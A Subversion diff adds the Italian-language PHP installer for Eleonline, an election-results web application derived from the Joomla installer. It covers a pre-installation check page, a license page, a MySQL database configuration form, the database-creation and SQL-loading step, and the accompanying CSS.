+	}
+
+	/**
+	* Generic save function
+	* @param array Source array for binding to class vars
+	* @param string Filter for the order updating
+	* @returns TRUE if completely successful, FALSE if partially or not succesful
+	* NOTE: Filter will be deprecated in verion 1.1
+	*/
+	function save( $source, $order_filter='' ) {
+		if (!$this->bind( $source )) {
+			return false;
+		}
+		if (!$this->check()) {
+			return false;
+		}
+		if (!$this->store()) {
+			return false;
+		}
+		if (!$this->checkin()) {
+			return false;
+		}
+		
+		if ($order_filter) {
+			$filter_value = $this->$order_filter;
+			$this->updateOrder( $order_filter ? "`$order_filter` = " . $this->_db->Quote( $filter_value ) : '' );
+		}
+		$this->_error = '';
+		return true;
+	}
+
+	/**
+	 * @deprecated As of 1.0.3, replaced by publish
+	 */
+	function publish_array( $cid=null, $publish=1, $user_id=0 ) {
+		$this->publish( $cid, $publish, $user_id );
+	}
+
+	/**
+	 * Generic Publish/Unpublish function
+	 * @param array An array of id numbers
+	 * @param integer 0 if unpublishing, 1 if publishing
+	 * @param integer The id of the user performnig the operation
+	 * @since 1.0.4
+	 */
+	function publish( $cid=null, $publish=1, $user_id=0 ) {
+		mosArrayToInts( $cid, array() );
+		$user_id	= (int) $user_id;
+		$publish	= (int) $publish;
+		$k = $this->_tbl_key;
+
+		if (count( $cid ) < 1) {
+			$this->_error = "Nessun elemento selezionato.";
+			return false;
+		}
+
+		$cids = $this->_tbl_key . '=' . implode( ' OR ' . $this->_tbl_key . '=', $cid );
+
+		$query = "UPDATE $this->_tbl"
+		. "\n SET published = " . (int) $publish
+		. "\n WHERE ($cids)"
+		. "\n AND (checked_out = 0 OR checked_out = " . (int) $user_id . ")"
+		;
+		$this->_db->setQuery( $query );
+		if (!$this->_db->query()) {
+			$this->_error = $this->_db->getErrorMsg();
+			return false;
+		}
+
+		if (count( $cid ) == 1) {
+			$this->checkin( $cid[0] );
+		}
+		$this->_error = '';
+		return true;
+	}
+
+	/**
+	* Export item list to xml
+	* @param boolean Map foreign keys to text values
+	*/
+	function toXML( $mapKeysToText=false ) {
+		$xml = '<record table="' . $this->_tbl . '"';
+
+		if ($mapKeysToText) {
+			$xml .= ' mapkeystotext="true"';
+		}
+		$xml .= '>';
+		foreach (get_object_vars( $this ) as $k => $v) {
+			if (is_array($v) or is_object($v) or $v === NULL) {
+				continue;
+			}
+			if ($k[0] == '_') { // internal field
+				continue;
+			}
+			$xml .= '<' . $k . '><![CDATA[' . $v . ']]></' . $k . '>';
+		}
+		$xml .= '</record>';
+
+		return $xml;
+	}
+}
+?>
Index: /trunk/elezioni/trunk/install/index.php
===================================================================
--- /trunk/elezioni/trunk/install/index.php	(revision 44)
+++ /trunk/elezioni/trunk/install/index.php	(revision 44)
@@ -0,0 +1,206 @@
+<?php
+
+/************************************************************************/
+/* Eleonline                                                            */
+/* ============================================                         */
+/*  Installer was based on Joomla Installer                             */
+/************************************************************************/
+
+require_once( 'version.php' );
+
+/** Include common.php */
+include_once( 'common.php' );
+
+function get_php_setting($val) {
+	$r =  (ini_get($val) == '1' ? 1 : 0);
+	return $r ? 'ON' : 'OFF';
+}
+
+function writableCell( $folder ) {
+	echo '<tr>';
+	echo '<td class="item">' . $folder . '</td>';
+	echo '<td align="left">';
+	echo is_writable( "../$folder" ) ? '<b><font color="green">Scrivibile</font></b>' : '<b><font color="red">Non Scrivibile</font></b>' . '</td>';
+	echo '</tr>';
+}
+include("header.php");
+
+?>
+<div id="ctr" align="center">
+
+<div class="install">
+<div id="stepbar">
+<div class="step-on">inizio</div>
+<div class="step-off">licenza</div>
+<div class="step-off">passo 1</div>
+<div class="step-off">passo 2</div>
+<div class="step-off">passo 3</div>
+<div class="step-off">passo 4</div>
+
+
+</div>
+
+
+<div id="right">
+
+<div id="step">Controllo pre-installazione</div>
+
+<div class="far-right">
+	<input name="Button2" type="submit" class="button" value="Avanti >>" onclick="window.location='install.php';" />
+	<br/>
+	<br/>
+	<input type="button" class="button" value="Ricontrolla" onclick="window.location=window.location" />
+</div>
+<div class="clr"></div>
+
+<h1>Controllo pre-installazione per:<br/><?php echo $version; ?></h1>
+<div class="install-text">
+Se qualcuno dei seguenti oggetti e' segnalato in rosso
+cerca di correggerli.
+<br/>
+I file di configurazione creati saranno due : 
+uno per la dir "client"
+per la visualizzazione dei risultati, uno per la dir "admin" per 
+l'amministrazione di Eleonline.<br/><b>Admin</b>:<br/>
+si consiglia per la sicurezza di non rendere pubblica la parte di amministrazione e 
+dividerla mettendola su un server locale, con aggiornamento del db con replica o in altro modo.<br/>
+In questo caso, una volta creati file di configurazione, modificare
+le variabili di accesso al database perche' lavori in locale.<br/><b>Client</b>:<br/>
+Si consiglia inoltre di creare un utente mysql con permessi limitati alla sola lettura per la parte "client" in quanto pubblica e quindi di modificare a mano successivamente il file config.
+
+<div class="ctr"></div>
+</div>
+
+<div class="install-form">
+<div class="form-block">
+
+<table class="content">
+<tr>
+	<td class="item">
+	&nbsp; - versione PHP >= 4.3.0
+	</td>
+	<td align="left">
+	<?php echo phpversion() < '4.3' ? '<b><font color="red">No</font></b>' : '<b><font color="green">Si</font></b>';?>
+	</td>
+</tr>
+
+<tr>
+	<td>
+	&nbsp; - supporto GD graphics
+	</td>
+	<td align="left">
+	<?php echo extension_loaded('gd') ? '<b><font color="green">Disponibile</font></b>' : '<b><font color="red">Non Disponibile</font></b>';?>
+	</td>
+</tr>
+<tr>
+	<td>
+	&nbsp; - supporto MySQL
+	</td>
+	<td align="left">
+	<?php echo function_exists( 'mysql_connect' ) ? '<b><font color="green">Disponibile</font></b>' : '<b><font color="red">Non Disponibile</font></b>';?>
+	</td>
+</tr>
+<tr>
+	<td valign="top" class="item">
+	&nbsp; - file config.php Sito
+	</td>
+	<td align="left">
+	<?php
+	if (@file_exists('../client/config.php') &&  @is_writable( '../client/config.php' )){
+		echo '<b><font color="green">Presente e Scrivibile</font></b>';
+	} else if (is_writable( '../client' )) {
+		echo '<b><font color="green">Non Presente ma Scrivibile</font></b>';
+	} else {
+		echo '<b><font color="red">Non Scrivibile o Non Presente</font></b><br /><span class="small">Puoi continuare ugualmente il processo di installazione. Alla fine ti verra\' mostrato il contenuto del config.php, quindi dovrai fare il copia & incolla di quello che ti verra\' mostrato salvarlo in un file da immettere nella root pubblica (dir client) del sito nominandolo "config.php"</span>';
+	} ?>
+	</td>
+</tr>
+<tr>
+	<td valign="top" class="item">
+	&nbsp; - file config.php Amministrazione
+	</td>
+	<td align="left">
+	<?php
+	if (@file_exists('../admin/config.php') &&  @is_writable( '../admin/config.php' )){
+		echo '<b><font color="green">Presente e Scrivibile</font></b>';
+	} else if (is_writable( '../admin' )) {
+		echo '<b><font color="green">Non Presente ma Scrivibile</font></b>';
+	} else {
+		echo '<b><font color="red">Non Scrivibile</font></b><br /><span class="small">Puoi continuare ugualmente il processo di installazione. Alla fine ti verra\' mostrato il contenuto del config.php, quindi dovrai fare il copia & incolla di quello che ti verra\' mostrato e copiarlo in un file nominandolo "config.php" e salvandolo nella dir admin di eleonline.</span>';
+	} ?>
+	</td>
+</tr>
+</table>
+</div>
+</div>
+<div class="clr"></div>
+
+<h1>Settaggi Raccomandati:</h1>
+<div class="install-text">
+Questi sono i settaggi raccomandati per il PHP per assicurarsi la piena
+compatibilita' con Eleonline.
+<br />
+Comunque, Eleonline puo' funzionare anche se i settaggi non sono quelli raccomandati
+<div class="ctr"></div>
+</div>
+
+<div class="install-form">
+<div class="form-block">
+
+<table class="content">
+<tr>
+	<td class="toggle">
+	Direttiva
+	</td>
+	<td class="toggle">
+	Raccomandata
+	</td>
+	<td class="toggle">
+	Attuale
+	</td>
+</tr>
+<?php
+$php_recommended_settings = array(
+array ('Magic Quotes GPC','magic_quotes_gpc','ON'),
+array ('Register Globals','register_globals','OFF'),
+array ('Session auto start','session.auto_start','OFF'),
+);
+
+foreach ($php_recommended_settings as $phprec) {
+?>
+<tr>
+	<td class="item"><?php echo $phprec[0]; ?>:</td>
+	<td class="toggle"><?php echo $phprec[2]; ?>:</td>
+	<td>
+	<?php
+	if ( get_php_setting($phprec[1]) == $phprec[2] ) {
+	?>
+		<font color="green"><b>
+	<?php
+	} else {
+	?>
+		<font color="red"><b>
+	<?php
+	}
+	echo get_php_setting($phprec[1]);
+	?>
+	</b></font>
+	<td>
+</tr>
+<?php
+}
+?>
+</table>
+</div>
+</div>
+<div class="clr"></div>
+</div>
+<div class="clr"></div>
+</div><div class="clr"></div>
+</div><div class="clr"></div>
+</div><div class="clr"></div>
+</div>
+<?php include("footer.php"); ?>
+
+</body>
+</html>
Index: /trunk/elezioni/trunk/install/install.css
===================================================================
--- /trunk/elezioni/trunk/install/install.css	(revision 44)
+++ /trunk/elezioni/trunk/install/install.css	(revision 44)
@@ -0,0 +1,291 @@
+/************************************************************************/
+/* PHP-NUKE: Advanced Content Management System                         */
+/* ============================================                         */
+/*                                                                      */
+/* Copyright (c) 2006 by Francisco Burzi                                */
+/* http://phpnuke.org                                                   */
+/*                                                                      */
+/* PHP-Nuke Installer was based on Joomla Installer                     */
+/* PHP-Nuke Installer improved for WL-Nuke by Weblord.it                */
+/* Joomla is Copyright (c) of Open Source Matters                       */
+/*                                                                      */
+/* This program is free software. You can redistribute it and/or modify */
+/* it under the terms of the GNU General Public License as published by */
+/* the Free Software Foundation; either version 2 of the License.       */
+/************************************************************************/
+
+body {
+	margin: 0px;
+	padding: 0px;
+	color : #333;
+	background-color : #FFF;
+	font-size : 11px;
+	font-family : Arial, Helvetica, sans-serif;
+}
+
+#wrapper {
+        border: 0px;
+        margin: 0px;
+        margin-left: auto;
+        margin-right: auto;
+        padding: 0px;
+}
+
+#header {
+        background-color: #FFF;
+        background-position: right top;
+        border-bottom: 4px solid #000000;
+        background: url(header_bg.png);
+}
+
+#eleonline {
+        position: relative;
+        width: 100%;
+        background-position: bottom right;
+        margin: 0px;
+        padding: 0px;
+}
+
+#stepbar {
+	background-color: #F1F1F1;
+	width: 170px !important;
+	width: 170px;
+	height: 400px;
+	font-size: 11px;
+	float: left;
+	text-align: left;
+}
+
+#step {
+	background: url(install_logo.png) no-repeat;
+	font-size: 30px;
+	font-weight: bold;
+	text-align: left;
+	color: #666666;
+	padding: 10px 0px 20px 80px;
+	white-space: nowrap;
+	position: relative;
+	float: left;
+}
+
+.step-on {
+	color: #fff;
+	background: #0F71A9;
+	font-weight: bold;
+	font-size: 13px;
+	padding: 10px;
+	border: 1px solid #cccccc;
+	margin-bottom: 2px;
+}
+
+.step-off {
+  font-size: 13px;
+	color: #999999;
+	font-weight: bold;
+	padding: 10px;
+	border: 1px solid #cccccc;
+	margin-bottom: 2px;
+}
+
+#right {
+  float: right;
+  width: 555px !important;
+  width: 545px;
+  border-left: 1px solid #cccccc;
+  padding-left: 10px;
+
+}
+
+#break {
+	height: 20px;
+}
+
+.licensetext {
+  text-align: left;
+}
+
+.license {
+  padding: 0px;
+  width: 530px;
+  height: 300px;
+}
+
+.license-form {
+  float: left;
+}
+
+.install {
+	margin-left: auto;
+	margin-right: auto;
+	margin-top: 3em;
+	margin-bottom: 3em;
+	padding: 10px;
+	border: 1px solid #cccccc;
+	width: 750px;
+	background: #F1F1F1;
+}
+	
+.install h1 {
+	font-size: 15px;
+	font-weight: bold;
+ 	color: #0F71A9;
+	padding: 10px 10px 4px 0px;
+ 	text-align: left;
+	border-bottom: 1px solid #0F71A9;
+	margin-bottom: 10px;
+
+}
+
+.install-form {
+  position: relative;
+	text-align: left;
+	float: right;
+	width: 69%;
+}
+
+.install-text {
+  position: relative;
+	text-align: left;
+	width: 30%;
+	float: left;
+}
+
+.form-block {
+	border: 1px solid #cccccc;
+	background: #E9ECEF;
+	padding-top: 5px;
+	padding-left: 5px;
+	padding-bottom: 5px;
+	padding-right: 5px;
+}
+
+.left {
+  position: relative;
+	text-align: left;
+	float: left;
+	width: 50%;
+}
+
+.right {
+  position: relative;
+	text-align: left;
+	float: right;
+	width: 50%;
+}
+
+.far-right {
+  position: relative;
+	text-align: right;
+	float: right;
+}
+
+.far-left {
+  position: relative; 
+	text-align: left;
+	float: left;
+}
+
+.clr {
+    clear:both;
+    }
+
+.ctr {
+	text-align: center;
+}
+
+.button {
+	border : solid 1px #cccccc;
+	background: #E9ECEF;
+	color : #666666;
+	font-weight : bold;
+	font-size : 11px;
+	padding: 4px;
+}
+
+table.content {
+	width: 80%;
+}
+
+table.content td {
+	color : #333333;
+	font-size: 11px;
+	width: 50%;
+}
+
+table.content2 {
+	width: 90%;
+}
+
+table.content2 td {
+	color : #333333;
+	font-size: 11px;
+}
+
+.toggle {
+	font-weight: bold;
+}
+
+
+/*  old stuff */
+
+
+a {
+	color: #0F71A9;
+	text-decoration: none;
+}
+a:hover {
+	color : #1697E1;
+	text-decoration : underline;
+}
+a:active {
+	color : #0F71A9;
+	text-decoration : underline;
+}
+
+.inputbox {
+
+	color: blue;
+	font-family: Arial, Helvetica, sans-serif;
+	z-index: -3;
+	font-size: 11px;
+}
+
+.small {
+	color : #333;
+	font-size : 10px;
+}
+
+.error {
+	color : #cc0000;
+	font-size : 12px;
+	font-weight : bold;
+	padding-top: 10px;
+	padding-bottom: 10px;
+}
+
+
+select.options, input.options {
+	font-size: 8pt;
+	border: 1px solid #999;
+}
+
+form {
+	margin: 0px 0px 0px 0px;
+}
+
+
+.dottedline {
+	border-bottom: 1px solid #333;
+}
+
+.installheader {
+	color : #FFF;
+	font-size : 24px;
+}
+
+textarea {
+	color : #0000dd;
+	font-family : Arial;
+	font-size : 11px;
+	border: 1px;
+}
Index: /trunk/elezioni/trunk/install/install.php
===================================================================
--- /trunk/elezioni/trunk/install/install.php	(revision 44)
+++ /trunk/elezioni/trunk/install/install.php	(revision 44)
@@ -0,0 +1,56 @@
+<?php
+
+/************************************************************************/
+/* Eleonline                                                            */
+/* ============================================                         */
+/*  Installer was based on Joomla Installer                             */
+/************************************************************************/
+
+/** Include common.php */
+include_once( 'common.php' );
+include("header.php");
+?>
+<div id="ctr" align="center">
+	<form action="install1.php" method="post" name="adminForm" id="adminForm">
+	<div class="install">
+	<div id="stepbar">
+		<div class="step-off">inizio</div>
+		<div class="step-on">licenza</div>
+		<div class="step-off">passo 1</div>
+		<div class="step-off">passo 2</div>
+		<div class="step-off">passo 3</div>
+		<div class="step-off">passo 4</div>
+	</div>
+	<div id="right">
+		<div id="step">licenza</div>
+		<div class="far-right">
+		<input class="button" type="submit" name="next" value="Avanti &gt;&gt;"/>
+		</div>
+		<div class="clr"></div>
+		
+		<div class="licensetext">
+				<a href="http://www.eleonline.it">Eleonline</a> e' un Free Software sotto licenza  GNU/GPL (leggi di seguito)
+				<br/>JpGraph e' sotto licenza <a href="http://en.wikipedia.org/wiki/QPL" target="_blank">Qpl 1.0</a>
+				<br/>PHP/SWF Charts è sotto <a href="http://www.maani.us/xml_charts/index.php?menu=License" target="_blank">Free License</a>
+		</div>
+		<h1>GNU/GPL License:</h1>
+		<div class="clr"></div>
+		<div class="license-form">
+			<div class="form-block" style="padding: 0px;">
+				<iframe src="gpl.html" class="license" frameborder="0" scrolling="auto"></iframe>
+			</div>
+		</div>
+		<div class="clr"></div>
+		<div class="clr"></div>
+		</div>
+		<div id="break"></div>
+	<div class="clr"></div>
+	<div class="clr"></div>
+	<div class="clr"></div>
+	</div>
+	</form>
+</div>
+<?php include("footer.php"); ?>
+
+</body>
+</html>
Index: /trunk/elezioni/trunk/install/install1.php
===================================================================
--- /trunk/elezioni/trunk/install/install1.php	(revision 44)
+++ /trunk/elezioni/trunk/install/install1.php	(revision 44)
@@ -0,0 +1,182 @@
+<?php
+
+/************************************************************************/
+/* Eleonline                                                            */
+/* ============================================                         */
+/*  Installer was based on Joomla Installer                             */
+/************************************************************************/
+
+/** Include common.php */
+require_once( 'common.php' );
+
+$DBhostname = mosGetParam( $_POST, 'DBhostname', 'localhost' );
+$DBuserName = mosGetParam( $_POST, 'DBuserName', 'utente' );
+$DBpassword = mosGetParam( $_POST, 'DBpassword', 'password' );
+$DBname  	= mosGetParam( $_POST, 'DBname', 'eleonline' );
+$DBPrefix  	= mosGetParam( $_POST, 'DBPrefix', 'soraldo' );
+
+echo "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?".">";
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>Eleonline Installer</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
+<link rel="stylesheet" href="install.css" type="text/css" />
+<script  type="text/javascript">
+<!--
+function check() {
+	// form validation check
+	var formValid=false;
+	var f = document.form;
+	if ( f.DBhostname.value == '' ) {
+		alert('Inserisci il nome di un host');
+		f.DBhostname.focus();
+		formValid=false;
+	} else if ( f.DBuserName.value == '' ) {
+		alert('Inserisci il nome dell\'utente per il Database');
+		f.DBuserName.focus();
+		formValid=false;
+	} else if ( f.DBname.value == '' ) {
+		alert('Inserisci un nome per il tuo nuovo Database');
+		f.DBname.focus();
+		formValid=false;
+	} else if ( f.DBPrefix.value == '' ) {
+		alert('Indicare un prefisso per le tabelle MySQL.');
+		f.DBPrefix.focus();
+		formValid=false;
+		} else if ( confirm('Sei sicuro che questi settaggi sono corretti? \n\n Adesso proveremo a popolare un Database con i dati che hai fornito\nSe il nome del database gia\' esiste, verra\' eliminato con tutto il suo contenuto!')) {
+		formValid=true;
+	}
+
+	return formValid;
+}
+//-->
+</script>
+</head>
+<body onload="document.form.DBhostname.focus();">
+<div id="wrapper">
+	<div id="header">
+		<div id="eleonline"><img src="header_install.png" alt="Installazione Eleonline" title="Installazione Eleonline" /></div>
+	</div>
+</div>
+<div id="ctr" align="center">
+	<form action="install2.php" method="post" name="form" id="form" onsubmit="return check();">
+	<div class="install">
+		<div id="stepbar">
+			<div class="step-off">
+				inizio
+			</div>
+			<div class="step-off">
+				licenza
+			</div>
+			<div class="step-on">
+				passo 1
+			</div>
+			<div class="step-off">
+				passo 2
+			</div>
+			<div class="step-off">
+				passo 3
+			</div>
+			<div class="step-off">
+				passo 4
+			</div>
+		</div>
+		<div id="right">
+			<div class="far-right">
+				<input class="button" type="submit" name="next" value="Avanti >>"/>
+  			</div>
+	  		<div id="step">
+	  			passo 1
+	  		</div>
+  			<div class="clr"></div>
+  			<h1>Configurazione database MySQL:</h1>
+	  		<div class="install-text">
+  				<p>Per configurare Eleonline sul tuo server devi eseguire 4 semplici step</p>
+  				<p>Inserisci l'hostname del server dove la parte server di Eleonline e' installata.</p>
+				<p>Inserisci username, password e nome del database MySQL che vuoi utilizzare per Eleonline.</p>
+				<p><font color='#FF0000'><b>ATTENZIONE:</b></font> Se il nome del database esiste, l'installer lo eliminera' e ne creera' uno nuovo. Tutti i dati presenti nel database esistente verranno eliminati e non ci sara' modo di recuperarli. Quindi, prima di procedere assicurati che il database non esista oppure di aver fatto un backup dei dati esistenti.</p>
+  			</div>
+			<div class="install-form">
+  				<div class="form-block">
+  		 			<table class="content2">
+  		  			<tr>
+  						<td></td>
+  						<td></td>
+  						<td></td>
+  					</tr>
+  		  			<tr>
+  						<td colspan="2">
+  							Host Name
+  							<br/>
+  							<input class="inputbox" type="text" name="DBhostname" value="<?php echo "$DBhostname"; ?>" />
+  						</td>
+			  			<td>
+			  				<em>In locale e' 'localhost' oppure l'IP 127.0.0.1. In remoto e' l'IP del server del MySQL </em>
+			  			</td>
+  					</tr>
+					<tr>
+			  			<td colspan="2">
+			  				MySQL User Name
+			  				<br/>
+			  				<input class="inputbox" type="text" name="DBuserName" value="<?php echo "$DBuserName"; ?>" />
+			  			</td>
+			  			<td>
+			  				<em>Nome dell'account con permessi per creare il database</em>
+			  			</td>
+  					</tr>
+			  		<tr>
+			  			<td colspan="2">
+			  				MySQL Password
+			  				<br/>
+			  				<input class="inputbox" type="text" name="DBpassword" value="<?php echo "$DBpassword"; ?>" />
+			  			</td>
+			  			<td>
+			  				<em>Password per l'account mysql:</em>
+			  			</td>
+					</tr>
+  		  			<tr>
+  						<td colspan="2">
+  							MySQL Database Name
+  							<br/>
+  							<input class="inputbox" type="text" name="DBname" value="<?php echo "$DBname"; ?>" />
+  						</td>
+			  			<td>
+			  				<em>Nome del database di Eleonline.</em>
+			  			</td>
+  					</tr>
+					<!--
+					<tr>
+  						<td colspan="2">
+  							Prefisso tabelle MySQL
+  							<br/>
+  							<input class="inputbox"  type="text" name="DBPrefix" value="<?php //echo "$DBPrefix"; ?>" />
+  						</td>
+			  			<td>
+			  			<em>Il prefisso per ora e' fissato in 'soraldo', derivante dal vecchio nome del software.</em>
+			  			</td>
+  					</tr>
+					immesso l'input hidden del prefisso -->
+					<input class="inputbox"  type="hidden" name="DBPrefix" value="<?php echo "$DBPrefix"; ?>" />
+		  		 	</table>
+					
+					<p>La visualizzazione degli errori del sistema ed il Codice di Sicurezza sono disattivati di default</p>
+					<p>Ogni modifica per queste ed altre variabili di configurazione richiedono l'edit manuale del file config.php</p>
+  				</div>
+			</div>
+		</div>
+		
+		
+		
+		
+
+		
+		<div class="clr"></div>
+	</div>
+	</form>
+</div>
+<div class="clr"></div>
+<?php include("footer.php"); ?>
+</body>
+</html>
Index: /trunk/elezioni/trunk/install/install2.php
===================================================================
--- /trunk/elezioni/trunk/install/install2.php	(revision 44)
+++ /trunk/elezioni/trunk/install/install2.php	(revision 44)
@@ -0,0 +1,523 @@
+<?php
+
+/************************************************************************/
+/* Eleonline                                                            */
+/* ============================================                         */
+/*  Installer was based on Joomla Installer                             */
+/************************************************************************/
+
+// Set flag that this is a parent file
+define( "_VALID_MOS", 1 );
+
+// Include common.php
+require_once( 'common.php' );
+require_once( './includes/database.php' );
+
+$DBhostname = mosGetParam( $_POST, 'DBhostname', '' );
+$DBuserName = mosGetParam( $_POST, 'DBuserName', '' );
+$DBpassword = mosGetParam( $_POST, 'DBpassword', '' );
+$DBname  	= mosGetParam( $_POST, 'DBname', '' );
+$DBPrefix  	= mosGetParam( $_POST, 'DBPrefix', 'soraldo' );
+$DBcreated	= intval( mosGetParam( $_POST, 'DBcreated', 0 ) );
+$BUPrefix = 'old_';
+$configArray['sitename'] = trim( mosGetParam( $_POST, 'sitename', 'Elezioni On Line' ) );
+$configArray['nomecomune'] = trim( mosGetParam( $_POST, 'nomecomune', '' ) );
+$configArray['istat'] = trim( mosGetParam( $_POST, 'istat', '' ) );
+$Capoluogo = mosGetParam( $_POST, 'Capoluogo', '' );
+$Lingua = mosGetParam( $_POST, 'Lingua', '' );
+$Multicomune = mosGetParam( $_POST, 'Multicomune', '' );
+$Replica = mosGetParam( $_POST, 'Replica', '' );
+//tema
+$tema = mosGetParam( $_POST, 'tema', '' );
+$sceltatema = mosGetParam( $_POST, 'sceltatema', '' );
+$blocco = mosGetParam( $_POST, 'blocco', '' );
+$flash = mosGetParam( $_POST, 'flash', '' );
+// d'hondt
+$Hondt = mosGetParam( $_POST, 'Hondt', '' );
+$Limite = mosGetParam( $_POST, 'Limite', '' );
+$Consin = mosGetParam( $_POST, 'Consin', '' );
+$infpremio = mosGetParam( $_POST, 'infpremio', '67' );
+$supsbarramento = mosGetParam( $_POST, 'supsbarramento', '3' );
+$suppremio = mosGetParam( $_POST, 'suppremio', '60' );
+$supminpremio = mosGetParam( $_POST, 'supminpremio', '40' );
+$database = null;
+$themelist = mosGetParam( $_POST, 'themelist', '' );
+
+$errors = array();
+if (!$DBcreated){
+	if (!$DBhostname || !$DBuserName || !$DBname) {
+		db_err ("stepBack3","The database details provided are incorrect and/or empty.");
+	}
+
+	
+	if($DBPrefix == '') {
+		db_err ('stepBack','Non avete indicato il prefisso tabelle database.');
+	}
+	
+	$database = new database( $DBhostname, $DBuserName, $DBpassword, '', '', false );
+	$test = $database->getErrorMsg();
+
+	if (!$database->_resource) {
+		db_err ('stepBack2','password ed username inseriti non sono corretti.');
+	}
+
+	// Does this code actually do anything???
+	$configArray['DBhostname'] = $DBhostname;
+	$configArray['DBuserName'] = $DBuserName;
+	$configArray['DBpassword'] = $DBpassword;
+	$configArray['DBname']	 = $DBname;
+	$configArray['DBPrefix']= $DBPrefix;
+
+	$sql = "CREATE DATABASE `$DBname`";
+	$database->setQuery( $sql );
+	$database->query();
+	$test = $database->getErrorNum();
+
+	if ($test != 0 && $test != 1007) {
+		db_err( 'stepBack', 'Avvenuto un errore database: ' . $database->getErrorMsg() );
+	}
+
+	// db is now new or existing, create the db object connector to do the serious work
+	$database = new database( $DBhostname, $DBuserName, $DBpassword, $DBname, $DBPrefix );
+
+	// delete existing mos table if exists
+	$query = "SHOW TABLES FROM `$DBname`";
+	$database->setQuery( $query );
+	$errors = array();
+	if ($tables = $database->loadResultArray()) {
+		foreach ($tables as $table) {
+				$query = "DROP TABLE IF EXISTS `$table`";
+				$database->setQuery( $query );
+				$database->query();
+				if ($database->getErrorNum()) {
+					$errors[$database->getQuery()] = $database->getErrorMsg();
+				}
+		}
+	}
+
+	populate_db( $database, 'eleonline.sql' );
+	$DBcreated = 1;
+}
+
+function db_err($step, $alert) {
+	global $DBhostname,$DBuserName,$DBpassword,$DBname,$DBPrefix;
+	echo "<form name=\"$step\" method=\"post\" action=\"install1.php\">
+	<input type=\"hidden\" name=\"DBhostname\" value=\"$DBhostname\">
+	<input type=\"hidden\" name=\"DBuserName\" value=\"$DBuserName\">
+	<input type=\"hidden\" name=\"DBpassword\" value=\"$DBpassword\">
+	<input type=\"hidden\" name=\"DBname\" value=\"$DBname\">
+	<input type=\"hidden\" name=\"DBPrefix\" value=\"$DBPrefix\">
+	</form>\n";
+	echo "<script>alert(\"$alert\"); window.history.go(-1);</script>";
+	//echo "<script>alert(\"$alert\"); document.location.href='install1.php';</script>";  
+	
+	exit();
+	
+	
+
+}
+
+/**
+ * @param object
+ * @param string File name
+ */
+function populate_db( &$database, $sqlfile='eleonline.sql') {
+	global $errors;
+
+	$mqr = @get_magic_quotes_runtime();
+	@set_magic_quotes_runtime(0);
+	$query = fread( fopen( 'sql/' . $sqlfile, 'r' ), filesize( 'sql/' . $sqlfile ) );
+	@set_magic_quotes_runtime($mqr);
+	$pieces  = split_sql($query);
+
+	for ($i=0; $i<count($pieces); $i++) {
+		$pieces[$i] = trim($pieces[$i]);
+		if(!empty($pieces[$i]) && $pieces[$i] != "#") {
+			$database->setQuery( $pieces[$i] );
+			if (!$database->query()) {
+				$errors[] = array ( $database->getErrorMsg(), $pieces[$i] );
+			}
+		}
+	}
+}
+
+/**
+ * @param string
+ */
+function split_sql($sql) {
+	$sql = trim($sql);
+	$sql = preg_replace('/\n#[^\n]*\n/', "\n", $sql);
+
+	$buffer = array();
+	$ret = array();
+	$in_string = false;
+
+	for($i=0; $i<strlen($sql)-1; $i++) {
+		if($sql[$i] == ";" && !$in_string) {
+			$ret[] = substr($sql, 0, $i);
+			$sql = substr($sql, $i + 1);
+			$i = 0;
+		}
+
+		if($in_string && ($sql[$i] == $in_string) && $buffer[1] != "\\") {
+			$in_string = false;
+		}
+		elseif(!$in_string && ($sql[$i] == '"' || $sql[$i] == "'") && (!isset($buffer[0]) || $buffer[0] != "\\")) {
+			$in_string = $sql[$i];
+		}
+		if(isset($buffer[1])) {
+			$buffer[0] = $buffer[1];
+		}
+		$buffer[1] = $sql[$i];
+	}
+
+	if(!empty($sql)) {
+		$ret[] = $sql;
+	}
+	return($ret);
+}
+
+$isErr = intval( count( $errors ) );
+
+echo "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?".">";
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>Eleonline Installer</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
+<link rel="stylesheet" href="install.css" type="text/css" />
+<script  type="text/javascript">
+<!--
+function check() {
+	// form validation check
+	var formValid=false;
+	var f = document.form;
+	if ( f.sitename.value == '' ) {
+		alert('Inserisci il nome del sito');
+		f.sitename.focus();
+		formValid=false;
+	} else if ( f.nomecomune.value == '' ) {
+		alert('Inserisci il nome del Comune');
+		f.nomecomune.focus();
+		formValid=false;
+	} else if ( f.istat.value == '' ) {
+		alert('Inserisci il numero Istat del Comune');
+		f.istat.focus();
+		formValid=false;
+	
+		} else if ( confirm('Sei sicuro che questi settaggi sono corretti?')) {
+		formValid=true;
+	}
+
+	return formValid;
+}
+//-->
+</script>
+</script>
+</head>
+<body onload="document.form.sitename.focus();">
+<div id="wrapper">
+	<div id="header">
+		<div id="eleonline"><img src="header_install.png" alt="Installazione Eleonline" title="Installazione Eleonline" /></div>
+	</div>
+</div>
+
+<div id="ctr" align="center">
+	<form action="install3.php" method="post" name="form" id="form" onsubmit="return check();">
+	<input type="hidden" name="DBhostname" value="<?php echo "$DBhostname"; ?>" />
+	<input type="hidden" name="DBuserName" value="<?php echo "$DBuserName"; ?>" />
+	<input type="hidden" name="DBpassword" value="<?php echo "$DBpassword"; ?>" />
+	<input type="hidden" name="DBname" value="<?php echo "$DBname"; ?>" />
+	<input type="hidden" name="DBPrefix" value="<?php echo "$DBPrefix"; ?>" />
+	<input type="hidden" name="DBcreated" value="<?php echo "$DBcreated"; ?>" />
+
+	<div class="install">
+		<div id="stepbar">
+		  	<div class="step-off">Inizio</div>
+	  		<div class="step-off">licenza</div>
+		  	<div class="step-off">passo 1</div>
+		  	<div class="step-on">passo 2</div>
+	  		<div class="step-off">passo 3</div>
+		  	<div class="step-off">passo 4</div>
+		</div>
+		
+		<div id="right">
+  			<div class="far-right">
+<?php if (!$isErr) { ?>
+  		  		<input class="button" type="submit" name="next" value="Avanti >>"/>
+<?php } ?>
+  			</div>
